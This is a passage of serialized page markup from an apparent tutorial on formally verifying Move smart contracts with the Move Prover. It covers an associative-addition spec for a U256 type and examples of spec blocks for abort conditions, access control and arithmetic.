type":20,"tag":315,"props":10326,"children":10327},{"class":317,"line":499},[10328,10332,10336],{"type":20,"tag":315,"props":10329,"children":10330},{"style":328},[10331],{"type":26,"value":2117},{"type":20,"tag":315,"props":10333,"children":10334},{"style":334},[10335],{"type":26,"value":7990},{"type":20,"tag":315,"props":10337,"children":10338},{"style":328},[10339],{"type":26,"value":10173},{"type":20,"tag":29,"props":10341,"children":10342},{},[10343],{"type":26,"value":10344},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":20,"tag":305,"props":10346,"children":10348},{"code":10347},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[10349],{"type":20,"tag":119,"props":10350,"children":10351},{"__ignoreMap":7},[10352],{"type":26,"value":10347},{"type":20,"tag":29,"props":10354,"children":10355},{},[10356,10358,10363,10364,10370],{"type":26,"value":10357},"For the ",{"type":20,"tag":3717,"props":10359,"children":10360},{},[10361],{"type":26,"value":10362},"Associative Property",{"type":26,"value":463},{"type":20,"tag":119,"props":10365,"children":10367},{"className":10366},[],[10368],{"type":26,"value":10369},"a+(b+c) = (a+b)+c",{"type":26,"value":10371},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":20,"tag":305,"props":10373,"children":10375},{"code":10374,"language":1359,"meta":7,"className":1360,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[10376],{"type":20,"tag":119,"props":10377,"children":10378},{"__ignoreMap":7},[10379,10456,10495,10536,10575,10616,10623,10673,10713],{"type":20,"tag":315,"props":10380,"children":10381},{"class":317,"line":318},[10382,10386,10391,10395,10399,10403,10407,10411,10415,10419,10423,10427,10431,10435,10439,10443,10447,10452],{"type":20,"tag":315,"props":10383,"children":10384},{"style":635},[10385],{"type":26,"value":5502},{"type":20,"tag":315,"props":10387,"children":10388},{"style":345},[10389],{"type":26,"value":10390}," add_assoc_property",{"type":20,"tag":315,"props":10392,"children":10393},{"style":328},[10394],{"type":26,"value":1049},{"type":20,"tag":315,"props":10396,"children":10397},{"style":635},[10398],{"type":26,"value":35},{"type":20,"tag":315,"props":10400,"children":10401},{"style":334},[10402],{"type":26,"value":2884},{"type":20,"tag":315,"props":10404,"children":10405},{"style":322},[10406],{"type":26,"value":3122},{"type":20,"tag":315,"props":10408,"children":10409},{"style":328},[10410],{"type":26,"value":44},{"type":20,"tag":315,"props":10412,"children":10413},{"style":635},[10414],{"type":26,"value":1604},{"type":20,"tag":315,"props":10416,"children":10417},{"style":334},[10418],{"type":26,"value":2884},{"type":20,"tag":315,"props":10420,"children":10421},{"style":322},[10422],{"type":26,"value":3122},{"type":20,"tag":315,"props":10424,"children":10425},{"style":328},[10426],{"type":26,"value":44},{"type":20,"tag":315,"props":10428,"children":10429},{"style":635},[10430],{"type":26,"value":1528},{"type":20,"tag":315,"props":10432,"children":10433},{"style":334},[10434],{"type":26,"value":2884},{"type":20,"tag":315,"props":10436,"children":10437},{"style":322},[10438],{"type":26,"value":3122},{"type":20,"tag":315,"props":10440,"children":10441},{"style":328},[10442],{"type":26,"value":1509},{"type":20,"tag":315,"props":10444,"children":10445},{"style":334},[10446],{"type":26,"value":2884},{"type":20,"tag":315,"props":10448,"children":10449},{"style":322},[10450],{"type":26,"value":10451}," bool",{"type":20,"tag":315,"props":10453,"children":10454},{"style":328},[10455],{"type":26,"value":1092},{"type":20,"tag":315,"props":10457,"children":10458},{"class":317,"line":356},[10459,10463,10467,10471,10475,10479,10483,10487,10491],{"type":20,"tag":315,"props":10460,"children":10461},{"style":541},[10462],{"type":26,"value":1380},{"type":20,"tag":315,"props":10464,"children":10465},{"style":635},[10466],{"type":26,"value":6588},{"type":20,"tag":315,"props":10468,"children":10469},{"style":334},[10470],{"type":26,"value":1395},{"type":20,"tag":315,"props":10472,"children":10473},{"style":345},[10474],{"type":26,"value":7980},{"type":20,"tag":315,"props":10476,"children":10477},{"style":328},[10478],{"type":26,"value":1049},{"type":20,"tag":315,"props":10480,"children":10481},{"style":635},[10482],{"type":26,"value":1604},{"type":20,"tag":315,"props":10484,"children":10485},{"style":328},[10486],{"type":26,"value":44},{"type":20,"tag":315,"props":10488,"children":10489},{"style":635},[10490],{"type":26,"value":1528},{"type":20,"tag":315,"props":10492,"children":10493},{"style":328},[10494],{"type":26,"value":2214},{"type":20,"tag":315,"props":10496,"children":10497},{"class":317,"line":365},[10498,10502,10507,10511,10515,10519,10523,10527,10532],{"type":20,"tag":315,"props":10499,"children":10500},{"style":541},[10501],{"type":26,"value":1380},{"type":20,"tag":315,"props":10503,"children":10504},{"style":635},[10505],{"type":26,"value":10506}," result_11",{"type":20,"tag":315,"props":10508,"children":10509},{"style":334},[10510],{"type":26,"value":1395},{"type":20,"tag":315,"props":10512,"children":10513},{"style":345},[10514],{"type":26,"value":7980},{"type":20,"tag":315,"props":10516,"children":10517},{"style":328},[10518],{"type":26,"value":1049},{"type":20,"tag":315,"props":10520,"children":10521},{"style":635},[10522],{"type":26,"value":35},{"type":20,"tag":315,"props":10524,"children":10525},{"style":328},[10526],{"type":26,"value":44},{"type":20,"tag":315,"props":10528,"children":10529},{"style":635},[10530],{"type":26,"value":10531},"result_1",{"type":20,"tag":315,"props":10533,"children":10534},{"style":328},[10535],{"type":26,"value":2214},{"type":20,"tag":315,"props":10537,"children":10538},{"class":317,"line":374},[10539,10543,10547,10551,10555,10559,10563,10567,10571],{"type":20,"tag":315,"props":10540,"children":10541},{"style":541},[10542],{"type":26,"value":1380},{"type":20,"tag":315,"props":10544,"children":10545},{"style":635},[10546],{"type":26,"value":6614},{"type":20,"tag":315,"props":10548,"children":10549},{"style":334},[10550],{"type":26,"value":1395},{"type":20,"tag":315,"props":10552,"children":10553},{"style":345},[10554],{"type":26,"value":7980},{"type":20,"tag":315,"props":10556,"children":10557},{"style":328},[10558],{"type":26,"value":1049},{"type":20,"tag":315,"props":10560,"children":10561},{"style":635},[10562],{"type":26,"value":35},{"type":20,"tag":315,"props":10564,"children":10565},{"style":328},[10566],{"type":26,"value":44},{"type":20,"tag":315,"props":10568,"children":10569},{"style":635},[10570],{"type":26,"value":1604},{"type":20,"tag":315,"props":10572,"children":10573},{"style":328},[10574],{"type":26,"value":2214},{"type":20,"tag":315,"props":10576,"children":10577},{"class":317,"line":383},[10578,10582,10587,10591,10595,10599,10603,10607,10612],{"type":20,"tag":315,"props":10579,"children":10580},{"style":541},[10581],{"type":26,"value":1380},{"type":20,"tag":315,"props":10583,"children":10584},{"style":635},[10585],{"type":26,"value":10586}," result_22",{"type":20,"tag":315,"props":10588,"children":10589},{"style":334},[10590],{"type":26,"value":1395},{"type":20,"tag":315,"props":10592,"children":10593},{"style":345},[10594],{"type":26,"value":7980},{"type":20,"tag":315,"props":10596,"children":10597},{"style":328},[10598],{"type":26,"value":1049},{"type":20,"tag":315,"props":10600,"children":10601},{"style":635},[10602],{"type":26,"value":1528},{"type":20,"tag":315,"props":10604,"children":10605},{"style":328},[10606],{"type":26,"value":44},{"type":20,"tag":315,"props":10608,"children":10609},{"style":635},[10610],{"type":26,"value":10611},"result_2",{"type":20,"tag":315,"props":10613,"children":10614},{"style":328},[10615],{"type":26,"value":2214},{"type":20,"tag":315,"props":10617,"children":10618},{"class":317,"line":407},[10619],{"type":20,"tag":315,"props":10620,"children":10621},{"emptyLinePlaceholder":15},[10622],{"type":26,"value":427},{"type":20,"tag":315,"props":10624,"children":10625},{"class":317,"line":421},[10626,10630,10634,10638,10643,10647,10651,10656,10660,10664,10669],{"type":20,"tag":315,"props":10627,"children":10628},{"style":541},[10629],{"type":26,"value":1380},{"type":20,"tag":315,"props":10631,"children":10632},{"style":635},[10633],{"type":26,"value":6256},{"type":20,"tag":315,"props":10635,"children":10636},{"style":334},[10637],{"type":26,"value":1395},{"type":20,"tag":315,"props":10639,"children":10640},{"style":345},[10641],{"type":26,"value":10642}," compare",{"type":20,"tag":315,"props":10644,"children":10645},{"style":328},[10646],{"type":26,"value":1049},{"type":20,"tag":315,"props":10648,"children":10649},{"style":334},[10650],{"type":26,"value":1490},{"type":20,"tag":315,"props":10652,"children":10653},{"style":635},[10654],{"type":26,"value":10655},"result_11",{"type":20,"tag":315,"props":10657,"children":10658},{"style":328},[10659],{"type":26,"value":44},{"type":20,"tag":315,"props":10661,"children":10662},{"style":334},[10663],{"type":26,"value":1490},{"type":20,"tag":315,"props":10665,"children":10666},{"style":635},[10667],{"type":26,"value":10668},"result_22",{"type":20,"tag":315,"props":10670,"children":10671},{"style":328},[10672],{"type":26,"value":2214},{"type":20,"tag":315,"props":10674,"children":10675},{"class":317,"line":430},[10676,10681,10686,10690,10694,10699,10703,10708],{"type":20,"tag":315,"props":10677,"children":10678},{"style":525},[10679],{"type":26,"value":10680}," if",{"type":20,"tag":315,"props":10682,"children":10683},{"style":328},[10684],{"type":26,"value":10685}," ( ",{"type":20,"tag":315,"props":10687,"children":10688},{"style":635},[10689],{"type":26,"value":6321},{"type":20,"tag":315,"props":10691,"children":10692},{"style":334},[10693],{"type":26,"value":1664},{"type":20,"tag":315,"props":10695,"children":10696},{"style":328},[10697],{"type":26,"value":10698}," EQUAL ) ",{"type":20,"tag":315,"props":10700,"children":10701},{"style":541},[10702],{"type":26,"value":2387},{"type":20,"tag":315,"props":10704,"children":10705},{"style":525},[10706],{"type":26,"value":10707}," else",{"type":20,"tag":315,"props":10709,"children":10710},{"style":541},[10711],{"type":26,"value":10712}," false\n",{"type":20,"tag":315,"props":10714,"children":10715},{"class":317,"line":453},[10716],{"type":20,"tag":315,"props":10717,"children":10718},{"style":328},[10719],{"type":26,"value":577},{"type":20,"tag":29,"props":10721,"children":10722},{},[10723],{"type":26,"value":10724},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":20,"tag":305,"props":10726,"children":10728},{"code":10727,"language":1359,"meta":7,"className":1360,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[10729],{"type":20,"tag":119,"props":10730,"children":10731},{"__ignoreMap":7},[10732,10747,10851,10874],{"type":20,"tag":315,"props":10733,"children":10734},{"class":317,"line":318},[10735,10739,10743],{"type":20,"tag":315,"props":10736,"children":10737},{"style":635},[10738],{"type":26,"value":6671},{"type":20,"tag":315,"props":10740,"children":10741},{"style":635},[10742],{"type":26,"value":10390},{"type":20,"tag":315,"props":10744,"children":10745},{"style":328},[10746],{"type":26,"value":1092},{"type":20,"tag":315,"props":10748,"children":10749},{"class":317,"line":356},[10750,10754,10758,10763,10767,10771,10775,10779,10783,10787,10791,10795,10799,10803,10807,10811,10815,10819,10823,10827,10831,10835,10839,10843,10847],{"type":20,"tag":315,"props":10751,"children":10752},{"style":635},[10753],{"type":26,"value":8302},{"type":20,"tag":315,"props":10755,"children":10756},{"style":328},[10757],{"type":26,"value":463},{"type":20,"tag":315,"props":10759,"children":10760},{"style":345},[10761],{"type":26,"value":10762},"value_of_U256",{"type":20,"tag":315,"props":10764,"children":10765},{"style":328},[10766],{"type":26,"value":1049},{"type":20,"tag":315,"props":10768,"children":10769},{"style":635},[10770],{"type":26,"value":35},{"type":20,"tag":315,"props":10772,"children":10773},{"style":328},[10774],{"type":26,"value":1468},{"type":20,"tag":315,"props":10776,"children":10777},{"style":334},[10778],{"type":26,"value":817},{"type":20,"tag":315,"props":10780,"children":10781},{"style":345},[10782],{"type":26,"value":8103},{"type":20,"tag":315,"props":10784,"children":10785},{"style":328},[10786],{"type":26,"value":1049},{"type":20,"tag":315,"props":10788,"children":10789},{"style":635},[10790],{"type":26,"value":1604},{"type":20,"tag":315,"props":10792,"children":10793},{"style":328},[10794],{"type":26,"value":7233},{"type":20,"tag":315,"props":10796,"children":10797},{"style":334},[10798],{"type":26,"value":817},{"type":20,"tag":315,"props":10800,"children":10801},{"style":345},[10802],{"type":26,"value":8103},{"type":20,"tag":315,"props":10804,"children":10805},{"style":328},[10806],{"type":26,"value":1049},{"type":20,"tag":315,"props":10808,"children":10809},{"style":635},[10810],{"type":26,"value":1528},{"type":20,"tag":315,"props":10812,"children":10813},{"style":328},[10814],{"type":26,"value":1468},{"type":20,"tag":315,"props":10816,"children":10817},{"style":334},[10818],{"type":26,"value":8343},{"type":20,"tag":315,"props":10820,"children":10821},{"style":322},[10822],{"type":26,"value":8059},{"type":20,"tag":315,"props":10824,"children":10825},{"style":334},[10826],{"type":26,"value":8216},{"type":20,"tag":315,"props":10828,"children":10829},{"style":322},[10830],{"type":26,"value":8059},{"type":20,"tag":315,"props":10832,"children":10833},{"style":334},[10834],{"type":26,"value":8216},{"type":20,"tag":315,"props":10836,"children":10837},{"style":322},[10838],{"type":26,"value":8059},{"type":20,"tag":315,"props":10840,"children":10841},{"style":334},[10842],{"type":26,"value":8216},{"type":20,"tag":315,"props":10844,"children":10845},{"style":322},[10846],{"type":26,"value":8059},{"type":20,"tag":315,"props":10848,"children":10849},{"style":328},[10850],{"type":26,"value":1405},{"type":20,"tag":315,"props":10852,"children":10853},{"class":317,"line":365},[10854,10858,10862,10866,10870],{"type":20,"tag":315,"props":10855,"children":10856},{"style":635},[10857],{"type":26,"value":8600},{"type":20,"tag":315,"props":10859,"children":10860},{"style":635},[10861],{"type":26,"value":7558},{"type":20,"tag":315,"props":10863,"children":10864},{"style":334},[10865],{"type":26,"value":1664},{"type":20,"tag":315,"props":10867,"children":10868},{"style":541},[10869],{"type":26,"value":544},{"type":20,"tag":315,"props":10871,"children":10872},{"style":328},[10873],{"type":26,"value":1405},{"type":20,"tag":315,"props":10875,"children":10876},{"class":317,"line":374},[10877],{"type":20,"tag":315,"props":10878,"children":10879},{"style":328},[10880],{"type":26,"value":577},{"type":20,"tag":29,"props":10882,"children":10883},{},[10884],{"type":26,"value":10885},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":20,"tag":305,"props":10887,"children":10888},{"code":10347},[10889],{"type":20,"tag":119,"props":10890,"children":10891},{"__ignoreMap":7},[10892],{"type":26,"value":10347},{"type":20,"tag":29,"props":10894,"children":10895},{},[10896,10898,10905],{"type":26,"value":10897},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":20,"tag":35,"props":10899,"children":10902},{"href":10900,"rel":10901},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[39],[10903],{"type":26,"value":10904},"spec-lang.md",{"type":26,"value":10906}," in the Move Repository.",{"type":20,"tag":21,"props":10908,"children":10910},{"id":10909},"use-cases",[10911],{"type":26,"value":10912},"Use Cases",{"type":20,"tag":29,"props":10914,"children":10915},{},[10916],{"type":26,"value":10917},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":20,"tag":29,"props":10919,"children":10920},{},[10921],{"type":26,"value":10922},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":20,"tag":219,"props":10924,"children":10926},{"id":10925},"error-conditions",[10927],{"type":26,"value":10928},"Error Conditions",{"type":20,"tag":29,"props":10930,"children":10931},{},[10932,10934,10940],{"type":26,"value":10933},"Taking an example from ",{"type":20,"tag":119,"props":10935,"children":10937},{"className":10936},[],[10938],{"type":26,"value":10939},"std::fixed_point32",{"type":26,"value":10941},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":20,"tag":305,"props":10943,"children":10945},{"code":10944,"language":1359,"meta":7,"className":1360,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[10946],{"type":20,"tag":119,"props":10947,"children":10948},{"__ignoreMap":7},[10949,10970,10990,11011,11057,11065,11128,11167],{"type":20,"tag":315,"props":10950,"children":10951},{"class":317,"line":318},[10952,10956,10961,10966],{"type":20,"tag":315,"props":10953,"children":10954},{"style":635},[10955],{"type":26,"value":7325},{"type":20,"tag":315,"props":10957,"children":10958},{"style":635},[10959],{"type":26,"value":10960}," schema",{"type":20,"tag":315,"props":10962,"children":10963},{"style":322},[10964],{"type":26,"value":10965}," MultiplyAbortsIf",{"type":20,"tag":315,"props":10967,"children":10968},{"style":328},[10969],{"type":26,"value":1092},{"type":20,"tag":315,"props":10971,"children":10972},{"class":317,"line":356},[10973,10978,10982,10986],{"type":20,"tag":315,"props":10974,"children":10975},{"style":635},[10976],{"type":26,"value":10977}," val",{"type":20,"tag":315,"props":10979,"children":10980},{"style":334},[10981],{"type":26,"value":2884},{"type":20,"tag":315,"props":10983,"children":10984},{"style":635},[10985],{"type":26,"value":8132},{"type":20,"tag":315,"props":10987,"children":10988},{"style":328},[10989],{"type":26,"value":1405},{"type":20,"tag":315,"props":10991,"children":10992},{"class":317,"line":365},[10993,10998,11002,11007],{"type":20,"tag":315,"props":10994,"children":10995},{"style":635},[10996],{"type":26,"value":10997}," multiplier",{"type":20,"tag":315,"props":10999,"children":11000},{"style":334},[11001],{"type":26,"value":2884},{"type":20,"tag":315,"props":11003,"children":11004},{"style":322},[11005],{"type":26,"value":11006}," FixedPoint32",{"type":20,"tag":315,"props":11008,"children":11009},{"style":328},[11010],{"type":26,"value":1405},{"type":20,"tag":315,"props":11012,"children":11013},{"class":317,"line":374},[11014,11019,11024,11028,11033,11037,11042,11047,11052],{"type":20,"tag":315,"props":11015,"children":11016},{"style":635},[11017],{"type":26,"value":11018}," aborts_if",{"type":20,"tag":315,"props":11020,"children":11021},{"style":345},[11022],{"type":26,"value":11023}," spec_multiply_u64",{"type":20,"tag":315,"props":11025,"children":11026},{"style":328},[11027],{"type":26,"value":1049},{"type":20,"tag":315,"props":11029,"children":11030},{"style":635},[11031],{"type":26,"value":11032},"val",{"type":20,"tag":315,"props":11034,"children":11035},{"style":328},[11036],{"type":26,"value":44},{"type":20,"tag":315,"props":11038,"children":11039},{"style":635},[11040],{"type":26,"value":11041},"multiplier",{"type":20,"tag":315,"props":11043,"children":11044},{"style":328},[11045],{"type":26,"value":11046},") > MAX_U64 ",{"type":20,"tag":315,"props":11048,"children":11049},{"style":635},[11050],{"type":26,"value":11051},"with",{"type":20,"tag":315,"props":11053,"children":11054},{"style":328},[11055],{"type":26,"value":11056}," EMULTIPLICATION;\n",{"type":20,"tag":315,"props":11058,"children":11059},{"class":317,"line":383},[11060],{"type":20,"tag":315,"props":11061,"children":11062},{"style":328},[11063],{"type":26,"value":11064}," }\n",{"type":20,"tag":315,"props":11066,"children":11067},{"class":317,"line":407},[11068,11072,11076,11080,11084,11088,11092,11096,11100,11104,11108,11112,11116,11120,11124],{"type":20,"tag":315,"props":11069,"children":11070},{"style":635},[11071],{"type":26,"value":7325},{"type":20,"tag":315,"props":11073,"children":11074},{"style":635},[11075],{"type":26,"value":4601},{"type":20,"tag":315,"props":11077,"children":11078},{"style":345},[11079],{"type":26,"value":11023},{"type":20,"tag":315,"props":11081,"children":11082},{"style":328},[11083],{"type":26,"value":1049},{"type":20,"tag":315,"props":11085,"children":11086},{"style":635},[11087],{"type":26,"value":11032},{"type":20,"tag":315,"props":11089,"children":11090},{"style":334},[11091],{"type":26,"value":2884},{"type":20,"tag":315,"props":11093,"children":11094},{"style":635},[11095],{"type":26,"value":8132},{"type":20,"tag":315,"props":11097,"children":11098},{"style":328},[11099],{"type":26,"value":44},{"type":20,"tag":315,"props":11101,"children":11102},{"style":635},[11103],{"type":26,"value":11041},{"type":20,"tag":315,"props":11105,"children":11106},{"style":334},[11107],{"type":26,"value":2884},{"type":20,"tag":315,"props":11109,"children":11110},{"style":322},[11111],{"type":26,"value":11006},{"type":20,"tag":315,"props":11113,"children":11114},{"style":328},[11115],{"type":26,"value":1509},{"type":20,"tag":315,"props":11117,"children":11118},{"style":334},[11119],{"type":26,"value":2884},{"type":20,"tag":315,"props":11121,"children":11122},{"style":635},[11123],{"type":26,"value":8132},{"type":20,"tag":315,"props":11125,"children":11126},{"style":328},[11127],{"type":26,"value":1092},{"type":20,"tag":315,"props":11129,"children":11130},{"class":317,"line":421},[11131,11135,11139,11143,11148,11152,11157,11162],{"type":20,"tag":315,"props":11132,"children":11133},{"style":328},[11134],{"type":26,"value":7106},{"type":20,"tag":315,"props":11136,"children":11137},{"style":635},[11138],{"type":26,"value":11032},{"type":20,"tag":315,"props":11140,"children":11141},{"style":334},[11142],{"type":26,"value":8216},{"type":20,"tag":315,"props":11144,"children":11145},{"style":635},[11146],{"type":26,"value":11147}," multiplier",{"type":20,"tag":315,"props":11149,"children":11150},{"style":334},[11151],{"type":26,"value":61},{"type":20,"tag":315,"props":11153,"children":11154},{"style":328},[11155],{"type":26,"value":11156},"value) ",{"type":20,"tag":315,"props":11158,"children":11159},{"style":334},[11160],{"type":26,"value":11161},">>",{"type":20,"tag":315,"props":11163,"children":11164},{"style":765},[11165],{"type":26,"value":11166}," 32\n",{"type":20,"tag":315,"props":11168,"children":11169},{"class":317,"line":430},[11170],{"type":20,"tag":315,"props":11171,"children":11172},{"style":328},[11173],{"type":26,"value":11064},{"type":20,"tag":219,"props":11175,"children":11177},{"id":11176},"access-control-policies",[11178],{"type":26,"value":11179},"Access Control Policies",{"type":20,"tag":29,"props":11181,"children":11182},{},[11183],{"type":26,"value":11184},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":20,"tag":29,"props":11186,"children":11187},{},[11188,11190,11196,11198,11203],{"type":26,"value":11189},"For example, in ",{"type":20,"tag":119,"props":11191,"children":11193},{"className":11192},[],[11194],{"type":26,"value":11195},"std::offer",{"type":26,"value":11197}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":20,"tag":55,"props":11199,"children":11200},{},[11201],{"type":26,"value":11202},"or",{"type":26,"value":11204}," the recipient is now allowed.",{"type":20,"tag":305,"props":11206,"children":11208},{"code":11207,"language":1359,"meta":7,"className":1360,"style":7}," spec redeem {\n /// Aborts if there is no offer under `offer_address` or if the account\n /// cannot redeem the offer.\n /// Ensures that the offered struct under `offer_address` is removed.\n aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n ensures !exists\u003COffer\u003COffered>>(offer_address);\n ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n }\n",[11209],{"type":20,"tag":119,"props":11210,"children":11211},{"__ignoreMap":7},[11212,11229,11237,11245,11253,11300,11358,11401,11467],{"type":20,"tag":315,"props":11213,"children":11214},{"class":317,"line":318},[11215,11220,11225],{"type":20,"tag":315,"props":11216,"children":11217},{"style":635},[11218],{"type":26,"value":11219}," spec",{"type":20,"tag":315,"props":11221,"children":11222},{"style":635},[11223],{"type":26,"value":11224}," redeem",{"type":20,"tag":315,"props":11226,"children":11227},{"style":328},[11228],{"type":26,"value":1092},{"type":20,"tag":315,"props":11230,"children":11231},{"class":317,"line":356},[11232],{"type":20,"tag":315,"props":11233,"children":11234},{"style":1071},[11235],{"type":26,"value":11236}," /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":20,"tag":315,"props":11238,"children":11239},{"class":317,"line":365},[11240],{"type":20,"tag":315,"props":11241,"children":11242},{"style":1071},[11243],{"type":26,"value":11244}," /// cannot redeem the offer.\n",{"type":20,"tag":315,"props":11246,"children":11247},{"class":317,"line":374},[11248],{"type":20,"tag":315,"props":11249,"children":11250},{"style":1071},[11251],{"type":26,"value":11252}," /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":20,"tag":315,"props":11254,"children":11255},{"class":317,"line":383},[11256,11260,11265,11269,11273,11278,11282,11287,11291,11296],{"type":20,"tag":315,"props":11257,"children":11258},{"style":635},[11259],{"type":26,"value":7450},{"type":20,"tag":315,"props":11261,"children":11262},{"style":334},[11263],{"type":26,"value":11264}," !",{"type":20,"tag":315,"props":11266,"children":11267},{"style":635},[11268],{"type":26,"value":5099},{"type":20,"tag":315,"props":11270,"children":11271},{"style":328},[11272],{"type":26,"value":4199},{"type":20,"tag":315,"props":11274,"children":11275},{"style":322},[11276],{"type":26,"value":11277},"Offer",{"type":20,"tag":315,"props":11279,"children":11280},{"style":328},[11281],{"type":26,"value":4199},{"type":20,"tag":315,"props":11283,"children":11284},{"style":322},[11285],{"type":26,"value":11286},"Offered",{"type":20,"tag":315,"props":11288,"children":11289},{"style":328},[11290],{"type":26,"value":5121},{"type":20,"tag":315,"props":11292,"children":11293},{"style":635},[11294],{"type":26,"value":11295},"offer_address",{"type":20,"tag":315,"props":11297,"children":11298},{"style":328},[11299],{"type":26,"value":2214},{"type":20,"tag":315,"props":11301,"children":11302},{"class":317,"line":407},[11303,11307,11311,11316,11320,11324,11328,11332,11337,11341,11345,11349,11354],{"type":20,"tag":315,"props":11304,"children":11305},{"style":635},[11306],{"type":26,"value":7450},{"type":20,"tag":315,"props":11308,"children":11309},{"style":334},[11310],{"type":26,"value":11264},{"type":20,"tag":315,"props":11312,"children":11313},{"style":635},[11314],{"type":26,"value":11315},"is_allowed_recipient",{"type":20,"tag":315,"props":11317,"children":11318},{"style":328},[11319],{"type":26,"value":4199},{"type":20,"tag":315,"props":11321,"children":11322},{"style":322},[11323],{"type":26,"value":11286},{"type":20,"tag":315,"props":11325,"children":11326},{"style":328},[11327],{"type":26,"value":6006},{"type":20,"tag":315,"props":11329,"children":11330},{"style":635},[11331],{"type":26,"value":11295},{"type":20,"tag":315,"props":11333,"children":11334},{"style":328},[11335],{"type":26,"value":11336},", signer",{"type":20,"tag":315,"props":11338,"children":11339},{"style":334},[11340],{"type":26,"value":1861},{"type":20,"tag":315,"props":11342,"children":11343},{"style":345},[11344],{"type":26,"value":5604},{"type":20,"tag":315,"props":11346,"children":11347},{"style":328},[11348],{"type":26,"value":1049},{"type":20,"tag":315,"props":11350,"children":11351},{"style":635},[11352],{"type":26,"value":11353},"account",{"type":20,"tag":315,"props":11355,"children":11356},{"style":328},[11357],{"type":26,"value":5618},{"type":20,"tag":315,"props":11359,"children":11360},{"class":317,"line":421},[11361,11365,11369,11373,11377,11381,11385,11389,11393,11397],{"type":20,"tag":315,"props":11362,"children":11363},{"style":635},[11364],{"type":26,"value":6583},{"type":20,"tag":315,"props":11366,"children":11367},{"style":334},[11368],{"type":26,"value":11264},{"type":20,"tag":315,"props":11370,"children":11371},{"style":635},[11372],{"type":26,"value":5099},{"type":20,"tag":315,"props":11374,"children":11375},{"style":328},[11376],{"type":26,"value":4199},{"type":20,"tag":315,"props":11378,"children":11379},{"style":322},[11380],{"type":26,"value":11277},{"type":20,"tag":315,"props":11382,"children":11383},{"style":328},[11384],{"type":26,"value":4199},{"type":20,"tag":315,"props":11386,"children":11387},{"style":322},[11388],{"type":26,"value":11286},{"type":20,"tag":315,"props":11390,"children":11391},{"style":328},[11392],{"type":26,"value":5121},{"type":20,"tag":315,"props":11394,"children":11395},{"style":635},[11396],{"type":26,"value":11295},{"type":20,"tag":315,"props":11398,"children":11399},{"style":328},[11400],{"type":26,"value":2214},{"type":20,"tag":315,"props":11402,"children":11403},{"class":317,"line":430},[11404,11408,11412,11416,11421,11425,11430,11434,11438,11442,11446,11450,11454,11458,11462],{"type":20,"tag":315,"props":11405,"children":11406},{"style":635},[11407],{"type":26,"value":6583},{"type":20,"tag":315,"props":11409,"children":11410},{"style":635},[11411],{"type":26,"value":7558},{"type":20,"tag":315,"props":11413,"children":11414},{"style":334},[11415],{"type":26,"value":1664},{"type":20,"tag":315,"props":11417,"children":11418},{"style":345},[11419],{"type":26,"value":11420}," old",{"type":20,"tag":315,"props":11422,"children":11423},{"style":328},[11424],{"type":26,"value":1049},{"type":20,"tag":315,"props":11426,"children":11427},{"style":635},[11428],{"type":26,"value":11429},"global",{"type":20,"tag":315,"props":11431,"children":11432},{"style":328},[11433],{"type":26,"value":4199},{"type":20,"tag":315,"props":11435,"children":11436},{"style":322},[11437],{"type":26,"value":11277},{"type":20,"tag":315,"props":11439,"children":11440},{"style":328},[11441],{"type":26,"value":4199},{"type":20,"tag":315,"props":11443,"children":11444},{"style":322},[11445],{"type":26,"value":11286},{"type":20,"tag":315,"props":11447,"children":11448},{"style":328},[11449],{"type":26,"value":5121},{"type":20,"tag":315,"props":11451,"children":11452},{"style":635},[11453],{"type":26,"value":11295},{"type":20,"tag":315,"props":11455,"children":11456},{"style":328},[11457],{"type":26,"value":1509},{"type":20,"tag":315,"props":11459,"children":11460},{"style":334},[11461],{"type":26,"value":61},{"type":20,"tag":315,"props":11463,"children":11464},{"style":328},[11465],{"type":26,"value":11466},"offered);\n",{"type":20,"tag":315,"props":11468,"children":11469},{"class":317,"line":453},[11470],{"type":20,"tag":315,"props":11471,"children":11472},{"style":328},[11473],{"type":26,"value":1736},{"type":20,"tag":29,"props":11475,"children":11476},{},[11477],{"type":26,"value":11478},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":20,"tag":219,"props":11480,"children":11482},{"id":11481},"complex-mathematical-formulae",[11483],{"type":26,"value":11484},"Complex Mathematical Formulae",{"type":20,"tag":29,"props":11486,"children":11487},{},[11488,11490,11495],{"type":26,"value":11489},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":20,"tag":55,"props":11491,"children":11492},{},[11493],{"type":26,"value":11494},"always",{"type":26,"value":11496}," the output.",{"type":20,"tag":29,"props":11498,"children":11499},{},[11500],{"type":26,"value":11501},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your 